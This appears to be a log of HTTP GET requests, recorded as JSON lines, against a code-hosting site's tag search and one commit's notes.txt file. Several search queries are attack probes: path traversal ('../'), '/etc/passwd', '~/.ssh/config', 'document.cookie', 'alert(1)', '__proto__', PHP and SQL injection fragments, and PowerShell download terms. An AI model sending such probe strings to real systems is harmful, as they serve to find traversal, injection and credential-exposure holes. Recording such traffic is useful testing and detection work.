{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
